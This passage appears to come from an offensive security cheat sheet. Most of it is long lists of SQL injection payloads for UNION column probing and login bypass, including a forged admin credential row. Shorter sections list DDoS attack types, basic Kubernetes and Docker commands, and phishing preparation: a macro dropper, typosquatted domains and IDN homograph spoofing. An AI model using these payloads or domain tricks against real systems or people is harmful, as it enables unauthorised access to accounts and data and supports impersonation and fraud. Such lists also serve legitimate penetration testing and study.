'INJ'||'ECT'||'XXX',2,3,4,5,6 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 UNION ALL SELECT 'INJ'||'ECT'||'XXX'-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30-- UNION ALL SELECT 'INJ'||'ECT'||'XXX'# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25# ``` ### **SQL Injection Auth Bypass Payloads** ``` '-' ' ' '&' '^' '*' ' or ''-' ' or '' ' ' or ''&' ' or ''^' ' or ''*' "-" " " "&" "^" "*" " or ""-" " or "" " " or ""&" " or ""^" " or ""*" or true-- " or true-- ' or true-- ") or true-- ') or true-- ' or 'x'='x ') or ('x')=('x ')) or (('x'))=(('x " or "x"="x ") or ("x")=("x ")) or (("x"))=(("x or 1=1 or 1=1-- or 1=1# or 1=1/* admin' -- admin' # admin'/* admin' or '1'='1 admin' or '1'='1'-- admin' or '1'='1'# admin' or '1'='1'/* admin'or 1=1 or ''=' admin' or 1=1 admin' or 1=1-- admin' or 1=1# admin' or 1=1/* admin') or ('1'='1 admin') or ('1'='1'-- admin') or ('1'='1'# admin') or ('1'='1'/* admin') or '1'='1 admin') or '1'='1'-- admin') or '1'='1'# admin') or '1'='1'/* 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055 admin" -- admin" # admin"/* admin" or "1"="1 admin" or "1"="1"-- admin" or "1"="1"# admin" or "1"="1"/* admin"or 1=1 or ""=" admin" or 1=1 admin" or 1=1-- admin" or 1=1# admin" or 1=1/* admin") or ("1"="1 admin") or ("1"="1"-- admin") or ("1"="1"# admin") or ("1"="1"/* admin") or "1"="1 admin") or "1"="1"-- admin") or "1"="1"# admin") or "1"="1"/* 1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055 ``` # DDoS ## HTTP DoS HTTP floods Amplification HTTP attacks Reflection HTTP attacks Socket pollution ## SSL/TLS DoS Encryption-based attacks Exhaustion floods Negotiation attacks ## Network Layer DoS ACK floods SYN-ACK amplification attacks UDP attacks ICMP attacks # Kubernetes & Docker I got containers on containers on containers on containers on containers Kubernetes is a container orchestration framework that helps with managing applications requiring one or more container. You create a cluster which holds nodes which holds pods. Pods that are running inside Kubernetes are running on a private, isolated network. By default they are visible from other pods and services within the same Kubernetes cluster, but not outside that network. When we use `kubectl`, we're interacting through an API endpoint to communicate with apps. ## Kubernetes ``` minikube version minikube start kubectl version kubectl cluster-info kubectl get #List resources kubectl get nodes kubectl describe #Show details kubectl logs #Print logs from a container in a pod kubectl get pods kubectl exec POD-NAME -- whoami #Execute command on a container in a pod kubectl exec -ti POD-NAME -- /bin/bash #Execute command on a container in a pod kubectl create deployment DEPLOYMENT-NAME --image=DOCKER-IMAGE/DOCK-USER:latest kubectl get deployments ``` ### Pods, nodes, and deployments When deploying, Kubernetes creates a **Pod** to host your application instance. A Pod is a Kubernetes abstraction that represents a group of one or more application containers (such as Docker), and some shared resources for those containers. Those resources include: * Shared storage, as Volumes * Networking, as a unique cluster IP address * Information about how to run each container, such as the container image version or specific ports to use {% hint style="info" %} Learn more here:\ {% endhint %} {% hint style="info" %} When deploying an app through kubectl, Kubernetes will do a couple of things: * searched for a suitable node where an instance of the application could be run (we have only 1 available node) * scheduled the application to run on that Node * configured the cluster to reschedule the instance on a new Node when needed {% endhint %} ## Docker ``` docker login #Credentials docker pull DOCKER-IMAGE/DOCK-USER:latest ``` # Phish prep the hooks ## Quick Buy old domain Email/server account SMTP DNS WEB SERVER + SSL Macros Dropper **Misspelling:** goggle.com Vs google.com **Additional Period:** go.ogle.com Vs google.com **Switching numbers for letters:** g00gle.com Vs google.com **Phrasing:** googles.com Vs google.com **Additional Word:** googleresults.com Vs google.com \ **TLD Alternatives:** A TLD (Top Level Domain) is the .com .net .co.uk .org .gov e.t.c part of a domain name, there are 100's of variants of TLD's now. A common trick for choosing a domain would be to use the same name but with a different TLD. For example, register turbosec.co.uk to impersonate turbosec.net
**IDN Homograph Attack/Script Spoofing:** Originally domain names were made up of Latin characters a-z and 0-9, but in 1998, IDN (internationalized domain name) was implemented to support language-specific script or alphabet from other languages such as Arabic, Chinese, Cyrillic, Hebrew and more. An issue that arises from the IDN implementation is that different letters from different languages can actually appear identical. For example, Unicode character U+0430 (Cyrillic small letter a) looks identical to Unicode character U+0061 (Latin small letter a) used in English, enabling attackers to register a domain name that looks almost identical to another.